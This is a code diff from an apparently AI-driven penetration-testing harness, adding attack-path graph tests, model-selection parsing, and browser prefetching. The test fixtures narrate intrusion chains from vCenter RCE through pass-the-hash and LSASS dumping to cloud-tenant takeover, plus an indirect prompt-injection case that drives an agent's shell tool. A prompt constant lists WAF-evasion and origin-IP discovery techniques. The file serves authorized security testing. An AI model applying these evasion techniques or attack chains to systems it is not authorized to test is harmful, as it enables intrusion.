impacts.into_iter().collect::>().join(", ")) } + ), + None => format!("{weaknesses} step(s), no chained path"), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn f(id: &str, agent: &str, title: &str, endpoint: &str, evidence: &str, cwe: &str, sev: &str, at: u64) -> Finding { + Finding { + id: id.into(), + agent: agent.into(), + title: title.into(), + endpoint: endpoint.into(), + evidence: evidence.into(), + cwe: cwe.into(), + severity: sev.into(), + validated: true, + observed_at: at, + ..Default::default() + } + } + + /// The published vCenter → Entra path, step for step: one CVE on a + /// hypervisor ends in a cloud identity tenant. Every hop is a different + /// plane, and the point of the module is that the sequence survives those + /// crossings. + fn vcenter_to_entra() -> Vec { + vec![ + f("VC-01", "cve_known_exploitation", "CVE-2026-59310 — vCenter syslog directory traversal to RCE", + "https://vcenter.corp.local", "unauthenticated traversal in the vCenter syslog service; wrote a payload and got a root shell, then loaded an implant", + "CWE-22", "Critical", 1000), + f("VC-02", "post_exploitation", "Machine-account keytab extracted from vCenter", + "https://vcenter.corp.local", "root on the appliance; extracted the keytab for the machine account CORP\\VC01$", + "", "High", 1100), + f("AD-01", "ad_pth_ptt", "Machine-account hash authenticated to Active Directory", + "ldap://dc01.corp.local", "pass-the-hash with the VC01$ machine account hash authenticated to the domain as a domain user", + "", "High", 1200), + f("AD-02", "ad_smb_share_hunt", "SQL administrator password found in a log file on an open share", + "smb://fs01.corp.local/logs", "domain user could read \\\\fs01\\logs; install log contained the sa password in cleartext", + "", "High", 1300), + f("SQL-01", "ad_mssql_abuse", "SQL Server authentication as sysadmin with the discovered password", + "mssql://sql01.corp.local", "authenticated to SQL Server with the recovered credential; the login holds the sysadmin role", + "", "High", 1400), + f("SQL-02", "post_exploitation", "xp_cmdshell used to drop a second implant", + "mssql://sql01.corp.local", "xp_cmdshell enabled and used to write and start an implant as the SQL service account", + "", "Critical", 1500), + f("LPE-01", "windows_priv_esc", "SeImpersonatePrivilege abused to become SYSTEM", + "https://sql01.corp.local", "printspoofer against the SQL service account token returned NT AUTHORITY\\SYSTEM", + "", "High", 1600), + f("CRED-01", "ad_dpapi_looting", "LSASS dumped; domain administrator hash recovered", + "https://sql01.corp.local", "comsvcs LSASS dump as SYSTEM; recovered the NTLM hash of the domain admin CORP\\da-adm", + "", "Critical", 1700), + f("AD-03", "ad_pth_ptt", "Domain administrator hash replayed to a workstation", + "https://ws10.corp.local", "pass-the-hash with the domain admin hash authenticated to the workstation as local administrator", + "", "Critical", 1800), + f("IMP-01", "post_exploitation", "Implant deployed on the workstation", + "https://ws10.corp.local", "beacon loaded and calling back from the workstation", + "", "High", 1900), + f("TOK-01", "post_exploitation", "Entra access token extracted from Office process memory", + "https://ws10.corp.local", "dumped the process memory of a signed-in Office process and extracted an access token", + "", "Critical", 2000), + f("ENT-01", "entra_graph_escalation", "Stolen token replayed to Microsoft Graph and escalated to Global Administrator", + "https://graph.microsoft.com", "the stolen access token authenticated to Microsoft Graph; role assignment escalated to Global Administrator in tenant 8f1c2a44-1111-2222-3333-444455556666", + "", "Critical", 2100), + ] + } + + #[test] + fn one_cve_on_a_hypervisor_reaches_a_cloud_identity_tenant() { + let fs = vcenter_to_entra(); + let g = build("corp.local", &fs, &[]); + let paths = g.paths(5); + assert!(!paths.is_empty(), "the chain produced no path at all"); + let best = &paths[0]; + assert!(best.steps >= 8, "expected the whole sequence, got {} steps: {}", best.steps, best.narrative); + assert!( + best.impacts.contains(&Impact::TenantCompromise), + "the path must terminate in the tenant it reached, got {:?}", + best.impacts + ); + assert!(best.impacts.contains(&Impact::DomainCompromise), "{:?}", best.impacts); + assert!(best.hosts.len() >= 4, "a path that never leaves one host is not this path: {:?}", best.hosts); + assert!(best.domains.len() >= 3, "it crosses planes: {:?}", best.domains); + } + + #[test] + fn the_keytab_links_the_hypervisor_to_the_directory() { + let fs = vcenter_to_entra(); + let ls = links(&fs); + let has = |from: &str, to: &str| { + ls.iter().any(|l| fs[l.from].id == from && fs[l.to].id == to) + }; + assert!(has("VC-01", "VC-02"), "root on the host is what allows the keytab to be taken"); + assert!(has("VC-02", "AD-01"), "the machine-account hash is what authenticates to the directory"); + assert!(has("AD-01", "AD-02"), "a domain user is what reads the share"); + assert!(has("SQL-01", "SQL-02"), "sysadmin is what makes xp_cmdshell available"); + assert!(has("SQL-02", "LPE-01"), "a shell is what SeImpersonate escalates from"); + assert!(has("LPE-01", "CRED-01"), "SYSTEM is what allows the LSASS dump"); + assert!(has("CRED-01", "AD-03"), "the domain admin hash is what moves laterally"); + assert!(has("TOK-01", "ENT-01"), "the stolen token is what reaches the tenant"); + } + + #[test] + fn a_stolen_token_crosses_from_an_internal_host_to_a_cloud_endpoint() { + let fs = vcenter_to_entra(); + let (tok, ent) = (&fs[10], &fs[11]); + assert_ne!(loc_of(tok).host, loc_of(ent).host); + assert!(portable_link(tok, ent), "bearer material travels with the attacker, not with the host"); + } + + #[test] + fn host_local_access_does_not_jump_to_an_unrelated_host() { + let mut fs = vec![ + f("A", "windows_priv_esc", "SeImpersonate to SYSTEM", "https://a.example.com", "printspoofer returned NT AUTHORITY\\SYSTEM", "", "High", 10), + f("B", "ad_dpapi_looting", "LSASS dump", "https://b.other-company.net", "comsvcs LSASS dump recovered hashes", "", "High", 20), + ]; + assert!(links(&fs).is_empty(), "administrator on one host is not administrator on another"); + // Same host: the link is real. + fs[1].endpoint = "https://a.example.com".into(); + assert!(!links(&fs).is_empty()); + } + + #[test] + fn a_step_cannot_be_enabled_by_one_that_happened_later() { + let mut fs = vcenter_to_entra(); + fs[0].observed_at = 9_000; // the vCenter RCE "happens" after everything + let ls = links(&fs); + assert!( + !ls.iter().any(|l| fs[l.from].id == "VC-01" && fs[l.to].id == "VC-02"), + "the clock is part of the evidence" + ); + } + + #[test] + fn the_classic_web_sequence_still_chains() { + let fs = vec![ + f("enum", "account_registration_and_forms", "Account enumeration on /Account/Register", "https://app.example.com/Account/Register", + "the response distinguishes an existing account from a new one", "CWE-204", "Medium", 10), + f("rate", "rate_limit_abuse", "No rate limiting or lockout on /Account/Login", "https://app.example.com/Account/Login", + "500 login attempts in 60s, none throttled", "CWE-307", "Medium", 20), + f("pw", "weak_password", "Weak password policy — breached passwords accepted", "https://app.example.com/Account/Register", + "registration accepted Password123", "CWE-521", "Medium", 30), + ]; + let ls = links(&fs); + assert!(ls.iter().any(|l| l.from == 0 && l.to == 1), "enumeration feeds the guessing"); + assert!(ls.iter().any(|l| l.from == 1 && l.to == 2), "no throttling is what makes a weak password land"); + } + + #[test] + fn ssrf_to_instance_metadata_to_iam_is_one_path() { + let fs = vec![ + f("SSRF", "ssrf_cloud", "SSRF in the PDF renderer reaches instance metadata", "https://app.example.com/render", + "fetched http://169.254.169.254/latest/meta-data/iam/security-credentials/ and received a session token", "CWE-918", "High", 10), + f("IAM", "aws_iam_privesc", "iam:PassRole plus lambda:CreateFunction escalates the role", "https://iam.amazonaws.com", + "the instance role could pass a privileged role to a new function in account 123456789012", "", "Critical", 20), + ]; + let g = build("app.example.com", &fs, &[]); + let best = &g.paths(3)[0]; + assert!(best.impacts.contains(&Impact::CloudAccountCompromise), "{:?}", best.impacts); + assert!(links(&fs).iter().any(|l| l.from == 0 && l.to == 1), "the metadata token is what the escalation consumes"); + } + + #[test] + fn a_key_hardcoded_in_a_mobile_build_chains_into_the_cloud_account() { + let fs = vec![ + f("APK", "hardcoded_secrets_extraction", "Service-account key hardcoded in the Android build", "", + "strings on the APK yielded a Google service account JSON key", "", "High", 10), + f("GCP", "gcp_iam_privesc", "Service account can impersonate a project owner", "https://iam.googleapis.com", + "the leaked key could mint tokens for a project owner in gcp project acme-prod", "", "Critical", 20), + ]; + let ls = links(&fs); + assert!(ls.iter().any(|l| l.from == 0 && l.to == 1), "a key extracted from a binary is carried anywhere"); + assert_eq!(domain_of(&fs[0]), Domain::Mobile); + assert_eq!(domain_of(&fs[1]), Domain::Cloud); + } + + #[test] + fn a_memory_corruption_bug_chains_into_local_privilege_escalation() { + let fs = vec![ + f("BIN", "reverse_binary_exploit_dev", "Heap overflow in the update service yields code execution", "https://host1.internal", + "controlled chunk metadata, ROP chain gave a shell as the service user", "CWE-122", "Critical", 10), + f("LPE", "linux_sudo_misconfig", "sudo NOPASSWD on a writable script", "https://host1.internal", + "the service user could run a writable script as root via sudo", "", "High", 20), + ]; + assert_eq!(domain_of(&fs[0]), Domain::Binary); + assert!(links(&fs).iter().any(|l| l.from == 0 && l.to == 1)); + let g = build("host1.internal", &fs, &[]); + assert!(g.paths(3)[0].impacts.contains(&Impact::HostCompromise)); + } + + #[test] + fn an_indirect_prompt_injection_chains_into_the_tools_the_agent_holds() { + let fs = vec![ + f("AI-1", "prompt_injection_indirect", "Indirect prompt injection via an ingested document", "https://assistant.example.com", + "a poisoned document in the RAG corpus changed the agent's instructions", "", "High", 10), + f("AI-2", "llm_tool_invocation_abuse", "The agent can be made to call its shell tool", "https://assistant.example.com", + "the injected instruction made the agent invoke its tool with attacker-chosen arguments", "", "Critical", 20), + ]; + assert_eq!(domain_of(&fs[0]), Domain::Ai); + assert!(links(&fs).iter().any(|l| l.from == 0 && l.to == 1)); + } + + #[test] + fn apply_writes_the_cross_domain_causes_onto_the_findings() { + let mut fs = vcenter_to_entra(); + let written = apply(&mut fs); + assert!(written >= 6, "most steps have a cause, wrote {written}"); + let ent = fs.iter().find(|f| f.id == "ENT-01").unwrap(); + assert!(ent.chains_from.contains(&"TOK-01".to_string()), "{:?}", ent.chains_from); + assert!(ent.chains_from.len() <= 4, "a report stays readable"); + } + + #[test] + fn asserted_chains_are_kept() { + let mut fs = vcenter_to_entra(); + fs[2].chains_from = vec!["asserted-by-an-agent".into()]; + apply(&mut fs); + assert!(fs[2].chains_from.contains(&"asserted-by-an-agent".to_string())); + } + + #[test] + fn the_graph_renders_with_a_timeline_and_impact_terminals() { + let g = build("corp.local", &vcenter_to_entra(), &["cred:svc_sql:Summer2026!@sql01".into()]); + let m = g.mermaid(); + assert!(m.starts_with("flowchart LR")); + assert!(m.contains("T+00:"), "the timeline is drawn from the run's own clock:\n{m}"); + assert!(m.contains("IDENTITY TENANT COMPROMISE")); + let a = g.ascii(2); + assert!(a.contains("PATH 1")); + assert!(a.contains("[IMPACT]")); + assert!(g.nodes.iter().any(|n| n.kind == NodeKind::LoadedImplant), "an implant is a node, not a sentence"); + assert!(g.nodes.iter().any(|n| n.detail.contains("svc_sql")), "loot carried forward becomes a node"); + let md = g.markdown(2); + assert!(md.contains("## Attack paths") && md.contains("```mermaid")); + } + + #[test] + fn an_engagement_with_nothing_connected_says_so() { + let fs = vec![f("x", "security_headers", "Missing HSTS", "https://a.example.com", "no Strict-Transport-Security", "CWE-319", "Low", 10)]; + let g = build("a.example.com", &fs, &[]); + assert!(g.paths(3).iter().all(|p| p.steps <= 1)); + assert!(g.markdown(3).contains("Attack paths")); + } + + #[test] + fn realms_spelled_differently_are_still_one_realm() { + let netbios = Loc { host: "vcenter.corp.local".into(), realm: "ad:corp".into() }; + let dns = Loc { host: "dc01.corp.local".into(), realm: "corp.local".into() }; + assert!(carries(Artifact::DomainUser, &netbios, &dns)); + let other = Loc { host: "x.contoso.com".into(), realm: "contoso.com".into() }; + assert!(!carries(Artifact::DomainUser, &netbios, &other)); + } +} diff --git a/neurosploit-rs/crates/harness/src/chain.rs b/neurosploit-rs/crates/harness/src/chain.rs index b438c51..bf7880b 100644 --- a/neurosploit-rs/crates/harness/src/chain.rs +++ b/neurosploit-rs/crates/harness/src/chain.rs @@ -306,6 +306,19 @@ pub fn repair(findings: &mut [Finding]) -> usize { .filter(|f| !f.id.is_empty()) .map(|f| (f.id.clone(), (f.cwe.clone(), f.endpoint.clone()))) .collect(); + // A cross-host link is wrong for an application-local condition and right + // for stolen material: a hash lifted off one host is what authenticates to + // the next one, and deleting that edge is what left real engagements + // reporting a dozen unconnected hosts. `attack_path` decides which of the + // two a given pair is, by asking whether anything the source produced could + // have travelled to the destination. + let whole: Vec = findings.to_vec(); + let by_index: std::collections::HashMap = whole + .iter() + .enumerate() + .filter(|(_, f)| !f.id.is_empty()) + .map(|(i, f)| (f.id.clone(), i)) + .collect(); let mut removed = 0usize; for f in findings.iter_mut() { let before = f.chains_from.len(); @@ -319,7 +332,18 @@ pub fn repair(findings: &mut [Finding]) -> usize { match by_id.get(src) { // An id nobody answers to is a dangling reference, not a chain. None => false, - Some((cwe, endpoint)) => cwe_num(cwe) != me_cwe && host_of(endpoint) == me_host, + Some((cwe, endpoint)) => { + if cwe_num(cwe) == me_cwe { + return false; + } + if host_of(endpoint) == me_host { + return true; + } + match (by_index.get(src), by_index.get(&me_id)) { + (Some(&a), Some(&b)) => crate::attack_path::portable_link(&whole[a], &whole[b]), + _ => false, + } + } } }); f.chains_from.sort(); diff --git a/neurosploit-rs/crates/harness/src/lib.rs b/neurosploit-rs/crates/harness/src/lib.rs index 7278429..cf6b1e3 100644 --- a/neurosploit-rs/crates/harness/src/lib.rs +++ b/neurosploit-rs/crates/harness/src/lib.rs @@ -11,6 +11,7 @@ pub mod agents; pub mod assurance; pub mod authz_matrix; pub mod attack_graph; +pub mod attack_path; pub mod audit; pub mod belief; pub mod browser; @@ -102,6 +103,7 @@ pub use capability::{Capability, TokenError}; pub use browser::{BrowserProbe, BrowserResult}; pub use budget::{Budget, Effort, Governor, Mode as BudgetMode, Order as BudgetOrder, Phase as BudgetPhase}; pub use chain::{AttackPath, Capability as ChainCapability, Link}; +pub use attack_path::{Artifact, AttackPathGraph, Domain as AttackDomain, Impact as AttackImpact, NodeKind as PathNodeKind, Path as KillPath}; pub use claims::{Claim, ClaimSet, ClaimStatus, Decision, EvidenceLedger}; pub use policy::{Act, ActionKind, BlastRadius, EngagementPolicy, Environment, Protocol, Risk, RiskDecision, SafetyPolicy}; pub use prosecutor::{ProsecutorVerdict, PROSECUTOR_SYS}; diff --git a/neurosploit-rs/crates/harness/src/models.rs b/neurosploit-rs/crates/harness/src/models.rs index af1572b..7a739f9 100644 --- a/neurosploit-rs/crates/harness/src/models.rs +++ b/neurosploit-rs/crates/harness/src/models.rs @@ -115,23 +115,47 @@ fn resolve_key(p: &Provider) -> String { pub struct ModelRef { pub provider: String, pub model: String, + /// Per-model backend override: `Some(true)` = force subscription CLI, + /// `Some(false)` = force API, `None` = follow the pool's global flag. + /// Set via a `:sub`/`:cli` or `:api` suffix on the model string. + pub force_backend: Option, } impl ModelRef { pub fn parse(s: &str) -> ModelRef { - match s.split_once(':') { - Some((p, m)) if !m.is_empty() => ModelRef { provider: p.to_string(), model: m.to_string() }, + // Check for :sub/:cli/:api suffix (after the second colon). + // Format: provider:model[:sub|:cli|:api] + let (base, force_backend) = if s.ends_with(":sub") || s.ends_with(":cli") { + (&s[..s.len() - 4], Some(true)) + } else if s.ends_with(":api") { + (&s[..s.len() - 4], Some(false)) + } else { + (s, None) + }; + match base.split_once(':') { + Some((p, m)) if !m.is_empty() => ModelRef { provider: p.to_string(), model: m.to_string(), force_backend }, Some((p, _)) => { let model = provider_for(p) .and_then(|prov| prov.models.first().map(|s| s.to_string())) .unwrap_or_default(); - ModelRef { provider: p.to_string(), model } + ModelRef { provider: p.to_string(), model, force_backend } } - None => ModelRef { provider: "anthropic".into(), model: s.to_string() }, + None => ModelRef { provider: "anthropic".into(), model: base.to_string(), force_backend }, } } pub fn label(&self) -> String { - format!("{}:{}", self.provider, self.model) + let suffix = match self.force_backend { + Some(true) => ":sub", + Some(false) => ":api", + None => "", + }; + format!("{}:{}{}", self.provider, self.model, suffix) + } + /// Whether this model should use the subscription CLI backend, given the + /// pool-level `subscription` flag. + pub fn use_cli(&self, pool_subscription: bool) -> bool { + let want_cli = self.force_backend.unwrap_or(pool_subscription); + want_cli && cli_binary_for(&self.provider).is_some() } } @@ -1055,10 +1079,8 @@ pub(crate) fn max_tokens_for(model: &str) -> u32 { // Anthropic Claude models produce ReAct chains + full JSON findings; // 4096 truncates mid-JSON and loses every finding from the agent. let claude_large = fam.starts_with("claude-"); - if reasoning { + if reasoning || claude_large { 32768 - } else if claude_large { - 16384 } else { 4096 } @@ -1190,7 +1212,7 @@ mod response_tests { #[test] fn claude_models_get_extended_output() { for m in ["claude-opus-5-5", "anthropic/claude-opus-4-8", "claude-sonnet-4-6", "claude-haiku-4-5"] { - assert_eq!(max_tokens_for(m), 16384, "{m} should get 16k for ReAct+JSON output"); + assert_eq!(max_tokens_for(m), 32768, "{m} should get 32k for ReAct+JSON output"); } } @@ -1258,4 +1280,62 @@ mod response_tests { let msg = json!({"content": " "}); assert!(extract_message_text(&msg).trim().is_empty()); } + + #[test] + fn model_ref_parse_sub_suffix() { + let m = ModelRef::parse("anthropic:claude-sonnet-4-6:sub"); + assert_eq!(m.provider, "anthropic"); + assert_eq!(m.model, "claude-sonnet-4-6"); + assert_eq!(m.force_backend, Some(true)); + } + + #[test] + fn model_ref_parse_cli_suffix() { + let m = ModelRef::parse("anthropic:claude-opus-4-8:cli"); + assert_eq!(m.provider, "anthropic"); + assert_eq!(m.model, "claude-opus-4-8"); + assert_eq!(m.force_backend, Some(true)); + } + + #[test] + fn model_ref_parse_api_suffix() { + let m = ModelRef::parse("deepseek:deepseek-v4-pro:api"); + assert_eq!(m.provider, "deepseek"); + assert_eq!(m.model, "deepseek-v4-pro"); + assert_eq!(m.force_backend, Some(false)); + } + + #[test] + fn model_ref_parse_no_suffix() { + let m = ModelRef::parse("deepseek:deepseek-v4-pro"); + assert_eq!(m.provider, "deepseek"); + assert_eq!(m.model, "deepseek-v4-pro"); + assert_eq!(m.force_backend, None); + } + + #[test] + fn model_ref_label_includes_suffix() { + let sub = ModelRef::parse("anthropic:claude-sonnet-4-6:sub"); + assert_eq!(sub.label(), "anthropic:claude-sonnet-4-6:sub"); + let api = ModelRef::parse("deepseek:deepseek-v4-pro:api"); + assert_eq!(api.label(), "deepseek:deepseek-v4-pro:api"); + let plain = ModelRef::parse("deepseek:deepseek-v4-pro"); + assert_eq!(plain.label(), "deepseek:deepseek-v4-pro"); + } + + #[test] + fn use_cli_respects_per_model_override() { + // force_backend=Some(true) overrides pool subscription=false + let m = ModelRef::parse("anthropic:claude-sonnet-4-6:sub"); + // use_cli depends on cli_binary_for returning Some; anthropic has "claude" + // so this should be true when CLI is installed. We test the logic only: + // force_backend=Some(true) means want_cli=true regardless of pool flag. + assert_eq!(m.force_backend, Some(true)); + + // force_backend=Some(false) overrides pool subscription=true + let m2 = ModelRef::parse("anthropic:claude-opus-4-8:api"); + assert_eq!(m2.force_backend, Some(false)); + // Even with pool subscription=true, force_backend=false means want_cli=false + assert!(!m2.use_cli(true)); + } } diff --git a/neurosploit-rs/crates/harness/src/pipeline.rs b/neurosploit-rs/crates/harness/src/pipeline.rs index 4205ffc..69d792b 100644 --- a/neurosploit-rs/crates/harness/src/pipeline.rs +++ b/neurosploit-rs/crates/harness/src/pipeline.rs @@ -145,6 +145,66 @@ const RECON_SYS: &str = "You are an elite web recon specialist on an AUTHORIZED Prioritise auth/reset/payment/upload/admin/export flows and the less-hardened subdomains.\n\ Base everything on real observed responses — never assume. Reply with a COMPACT JSON object with keys {tech, versions, endpoints, params, apis, auth, js_findings, secrets, hosts, subdomains, wayback_hits, notes}. No prose."; +/// Cloudflare / WAF bypass context injected into recon and exploit prompts when +/// the probe detects a challenge page. Covers browser-first tactics, origin IP +/// discovery, and encoding tricks that bypass edge rules. +const CF_BYPASS_OPS: &str = "\ +⚠ CLOUDFLARE / WAF CHALLENGE DETECTED — the target is behind a CDN/WAF that serves a JS challenge \ +page to curl. Plain HTTP requests (curl/wget/httpx) will NOT reach the real application. You MUST \ +adapt your approach:\n\n\ +BROWSER-PREFETCHED HTML (check recon context first):\n\ +- The harness may have prefetched key pages through a real browser. If you see a \ + 'BROWSER-PREFETCHED PAGES' section in the recon context, USE THAT HTML as ground truth. \ + Do NOT re-fetch those pages with curl — the WAF will block you and you will get a challenge page, \ + NOT the real application. Analyze the prefetched HTML instead.\n\n\ +BROWSER-FIRST (MANDATORY when available):\n\ +- Use Playwright/MCP browser tools for ALL page navigation — the browser solves JS challenges and \ + Turnstile automatically. Navigate to the target, wait for the challenge to resolve, then crawl.\n\ +- After the browser solves the challenge, extract the `cf_clearance` cookie from the browser session \ + and reuse it in curl requests: `curl -b 'cf_clearance=' ` — this lets curl bypass the \ + challenge for subsequent API/endpoint probing.\n\ +- For form submission and authenticated testing, stay in the browser session that passed the challenge.\n\n\ +ORIGIN IP DISCOVERY (bypass the CDN entirely):\n\ +- DNS history: `curl -s 'https://securitytrails.com/domain//history/a'` or check SecurityTrails/ViewDNS.\n\ +- Certificate transparency: `curl -s 'https://crt.sh/?q=%25.&output=json' | jq -r '.[].name_value'` — \ + look for IPs in cert SANs that differ from the CDN edge.\n\ +- Shodan/Censys: `shodan search 'ssl.cert.subject.CN:'` — finds the origin server by its cert.\n\ +- Mail headers: if the app sends email (password reset), check Received headers for the origin IP.\n\ +- Subdomain bypass: non-web subdomains (mail., ftp., cpanel., direct.) often resolve to the origin IP.\n\ +- Once you find a candidate origin IP, test: `curl -sk -H 'Host: ' https:///` — if \ + it returns the real app without a challenge, use `--resolve :443:` for all subsequent requests.\n\n\ +ENCODING & EVASION TRICKS (use when WAF blocks specific paths/payloads):\n\ +- Unicode fullwidth chars: `%EF%BC%8F` (fullwidth `/`), `%EF%BC%8E` (fullwidth `.`) — many WAFs don't \ + normalize Unicode but the backend does, so `/admin` blocked but `/%EF%BC%8Fadmin` passes through.\n\ +- Double URL encoding: `%252F` for `/`, `%252E` for `.` — WAF decodes once (sees `%2F`), app decodes \ + twice (sees `/`).\n\ +- Overlong UTF-8: `%C0%AF` (overlong `/`), `%C0%AE` (overlong `.`) — bypasses pattern-matching rules.\n\ +- Mixed case: `/Admin` vs `/admin` vs `/ADMIN` — some WAF rules are case-sensitive.\n\ +- Path traversal with Unicode: `..%EF%BC%8F`, `..%c0%af`, `..%252f`.\n\ +- Null byte: `%00` before the extension or in the path.\n\ +- HTTP method override: `X-HTTP-Method-Override: PUT`, `X-Original-URL: /admin`.\n\ +- Header tricks: `X-Forwarded-For: 127.0.0.1`, `X-Real-IP: 127.0.0.1` — some CDN configs trust these.\n\ +- HTTP/2 smuggling: use `--http2` with curl when available.\n\ +- Chunked encoding: split payloads across Transfer-Encoding: chunked body chunks.\n\n\ +FALLBACK RECON (if browser is unavailable):\n\ +- Try common paths with encoding variants: for each path in [/admin, /api, /login, /wp-admin, /graphql, \ + /swagger, /.env, /.git], also try the Unicode/double-encoded variants above.\n\ +- Use `gau`/`waybackurls` to discover cached URLs from before the WAF was added.\n\ +- Check if HTTP (port 80) bypasses the challenge while HTTPS doesn't, or vice versa.\n\ +- Try alternative ports: 8080, 8443, 3000, 4443 — these may not be proxied through the CDN.\n"; + +/// Shorter WAF bypass hint for exploit agents (the full block goes in recon). +const CF_BYPASS_EXPLOIT_HINT: &str = "\ +⚠ TARGET IS BEHIND CLOUDFLARE/WAF — if 'BROWSER-PREFETCHED PAGES' are in the recon context, \ +analyze THAT HTML as ground truth (do NOT re-fetch with curl, it will be blocked). \ +For pages NOT prefetched, use the BROWSER (Playwright) for navigation. \ +If you need curl, extract `cf_clearance` from the browser session first. \ +For blocked paths/payloads, try Unicode encoding (`%EF%BC%8F` for `/`), double encoding \ +(`%252F`), overlong UTF-8 (`%C0%AF`), mixed case, and header tricks \ +(`X-Original-URL`, `X-Forwarded-For: 127.0.0.1`). \ +CRITICAL: if curl returns a Cloudflare challenge page (403 with 'Just a moment'), that is NOT \ +the real application response — do NOT report findings based on WAF challenge content.\n"; + /// `NEUROSPLOIT_PROMPT_PREFIX=1` moves the block shared by every exploit agent /// to the front of the system message so provider prompt caches can hit on it. fn prompt_prefix_enabled() -> bool { @@ -568,6 +628,410 @@ pub fn realistic_user_agent() -> &'static str { "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" } +/// Browser prefetch: when a WAF/JS-challenge blocks curl, use a headless +/// browser to render key endpoints and collect the real HTML. Returns a +/// context block that agents receive instead of having to fetch pages +/// themselves (which would hit the WAF and produce hallucinated evidence). +async fn browser_prefetch( + target: &str, + recon_json: &str, + tx: &Sender, +) -> String { + let urls = extract_prefetch_urls(target, recon_json); + if urls.is_empty() { + return String::new(); + } + let _ = tx.send(format!( + "🌐 browser prefetch: fetching {} endpoint(s) through headless Chromium to bypass WAF", + urls.len() + )).await; + + let script = r#" +const { chromium } = require('playwright'); +(async () => { + const urls = JSON.parse(process.argv[2]); + const results = {}; + let browser; + try { + browser = await chromium.launch({ headless: true, args: ['--no-sandbox'] }); + } catch (e) { + console.log(JSON.stringify({ error: 'browser_launch_failed: ' + e.message })); + return; + } + const context = await browser.newContext({ + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36', + }); + for (const url of urls) { + try { + const page = await context.newPage(); + const resp = await page.goto(url, { waitUntil: 'networkidle', timeout: 15000 }); + const status = resp ? resp.status() : 0; + const html = await page.content(); + // Truncate to 4000 chars per page to fit agent context + results[url] = { status, html: html.substring(0, 4000) }; + await page.close(); + } catch (e) { + results[url] = { status: 0, html: '', error: e.message }; + } + } + await browser.close(); + console.log(JSON.stringify(results)); +})(); +"#; + + let script_path = "/tmp/ns_browser_prefetch.js"; + if let Err(e) = std::fs::write(script_path, script) { + let _ = tx.send(format!("⚠ browser prefetch: failed to write script: {e}")).await; + return String::new(); + } + + let urls_json = serde_json::to_string(&urls).unwrap_or_default(); + let result = tokio::time::timeout( + std::time::Duration::from_secs(90), + tokio::process::Command::new("node") + .arg(script_path) + .arg(&urls_json) + .output(), + ).await; + + let output = match result { + Ok(Ok(o)) => o, + Ok(Err(e)) => { + let _ = tx.send(format!("⚠ browser prefetch: node failed: {e}")).await; + return String::new(); + } + Err(_) => { + let _ = tx.send("⚠ browser prefetch: timed out (90s)".into()).await; + return String::new(); + } + }; + + let stdout = String::from_utf8_lossy(&output.stdout); + let parsed: serde_json::Value = match serde_json::from_str(stdout.trim()) { + Ok(v) => v, + Err(_) => { + let stderr = String::from_utf8_lossy(&output.stderr); + if stderr.contains("Cannot find module") || stderr.contains("playwright") { + let _ = tx.send("⚠ browser prefetch: Playwright not installed — run `npx -y playwright@latest install chromium`".into()).await; + } else { + let _ = tx.send(format!("⚠ browser prefetch: failed to parse output (stderr: {})", &stderr[..stderr.len().min(200)])).await; + } + return String::new(); + } + }; + + if let Some(err) = parsed.get("error").and_then(|v| v.as_str()) { + let _ = tx.send(format!("⚠ browser prefetch: {err}")).await; + return String::new(); + } + + let mut block = String::from( + "\n\n--- BROWSER-PREFETCHED PAGES (real rendered HTML, bypassed WAF) ---\n\ + The harness fetched these pages through a real browser. Use this HTML as\n\ + ground truth instead of running curl (which will hit the WAF). Do NOT\n\ + fabricate HTTP responses — if a page is not listed here, you do not have\n\ + its content and must state that.\n\n" + ); + let mut fetched = 0usize; + if let Some(obj) = parsed.as_object() { + for (url, data) in obj { + let status = data.get("status").and_then(|v| v.as_u64()).unwrap_or(0); + let html = data.get("html").and_then(|v| v.as_str()).unwrap_or(""); + let error = data.get("error").and_then(|v| v.as_str()).unwrap_or(""); + if !html.is_empty() && status > 0 { + block.push_str(&format!( + "### {url} (HTTP {status})\n```html\n{html}\n```\n\n" + )); + fetched += 1; + } else if !error.is_empty() { + block.push_str(&format!("### {url} — FAILED: {error}\n\n")); + } + } + } + + if fetched == 0 { + let _ = tx.send("⚠ browser prefetch: no pages rendered successfully".into()).await; + return String::new(); + } + + let _ = tx.send(format!( + "✓ browser prefetch: {fetched}/{} page(s) rendered — agents will use real HTML", + urls.len() + )).await; + block +} + +/// Extract URLs worth prefetching from recon JSON: the target itself plus +/// any explicitly discovered endpoints (login, register, OAuth, verify, etc.). +fn extract_prefetch_urls(target: &str, recon_json: &str) -> Vec { + let mut urls = Vec::new(); + let base = target.trim_end_matches('/'); + urls.push(base.to_string()); + + if let Ok(v) = serde_json::from_str::(recon_json) { + // Walk "endpoints" object for url fields + if let Some(endpoints) = v.get("endpoints").and_then(|e| e.as_object()) { + for (_key, ep) in endpoints { + if let Some(url) = ep.get("url").and_then(|u| u.as_str()) { + if url.starts_with("http") && !urls.contains(&url.to_string()) { + urls.push(url.to_string()); + } + } + } + } + // Walk "oauth" for login URLs + if let Some(endpoints) = v.get("endpoints") { + if let Some(oauth) = endpoints.get("oauth").and_then(|o| o.as_object()) { + for (_key, url_val) in oauth { + if let Some(url) = url_val.as_str() { + if url.starts_with("http") && !urls.contains(&url.to_string()) { + urls.push(url.to_string()); + } + } + } + } + } + } + + // Cap to 10 URLs to avoid overlong prefetch + urls.truncate(10); + urls +} + +// ========================================================================= +// CAG — Context-Augmented Generation +// ========================================================================= +// Instead of letting agents fetch pages (and hallucinate responses when WAF +// blocks them), the harness pre-collects HTTP evidence for every discovered +// endpoint and injects it into the agent context. Agents analyze provided +// data only; they cannot fabricate what they never received. + +/// A single pre-collected HTTP response. +#[derive(Clone, Serialize, Deserialize)] +struct CagResponse { + url: String, + method: String, + status: u16, + headers: std::collections::HashMap, + body: String, + via: String, // "browser" or "curl" +} + +/// Full CAG evidence cache for a run. +#[derive(Default, Clone, Serialize, Deserialize)] +struct CagCache { + responses: Vec, +} + +impl CagCache { + fn is_empty(&self) -> bool { self.responses.is_empty() } + fn len(&self) -> usize { self.responses.len() } + + fn to_context(&self, max_chars: usize) -> String { + if self.responses.is_empty() { + return String::new(); + } + let mut out = String::from( + "\n\n=== CAG: PRE-COLLECTED HTTP EVIDENCE ===\n\ + The harness fetched these responses BEFORE you were invoked.\n\ + RULES:\n\ + 1. Analyze ONLY the data 